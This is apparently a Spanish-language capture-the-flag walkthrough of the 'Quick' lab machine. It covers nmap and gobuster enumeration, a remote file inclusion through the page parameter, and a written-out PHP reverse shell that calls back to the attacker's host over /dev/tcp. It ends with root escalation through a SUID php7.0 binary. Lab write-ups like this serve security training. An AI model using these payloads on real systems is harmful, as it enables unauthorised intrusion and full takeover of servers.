021 - Quick - wh01s17

Comenzamos con un escaneo general y uno específico de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.30
❯ nmap -sC -sV -p80 -oN 02-targeted.txt 192.168.1.30
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-04 23:01 -03
Nmap scan report for 192.168.1.30
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Quick Automative

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 192.168.1.30 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt
...
/images               (Status: 301) [Size: 313] [--> http://192.168.1.30/images/]
/index.php            (Status: 200) [Size: 3735]
/contact.php          (Status: 200) [Size: 1395]
/about.php            (Status: 200) [Size: 1446]
/home.php             (Status: 200) [Size: 2534]
/cars.php             (Status: 200) [Size: 1502]
/connect.php          (Status: 500) [Size: 0]
/send_email.php       (Status: 302) [Size: 0] [--> contact.php]
...

Navegando, vemos un parámetro page sospechoso, candidato a LFI o RFI:

http://192.168.1.30/index.php?page=home

Las pruebas de LFI fallan, pero el RFI (Remote File Inclusion) sí funciona. Creamos una reverse shell y la servimos desde nuestra máquina con un servidor HTTP:

File:reverse.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>

❯ sudo python3 -m http.server 80

Accedemos al parámetro apuntando a nuestra reverse remota:

http://192.168.1.30/index.php?page=http://192.168.1.10/reverse

Obtenemos acceso y la primera flag. Para escalar, buscamos binarios SUID:

www-data@quick:/home/andrew$ find / -perm -4000 2>/dev/null
...
/usr/bin/php7.0
...

php tiene el bit SUID, lo que aprovechamos para lanzar una shell preservando privilegios:

www-data@quick:/home/andrew$ /usr/bin/php7.0 -r "pcntl_exec('/bin/sh', ['-p']);"

Capturamos la flag.

Fin.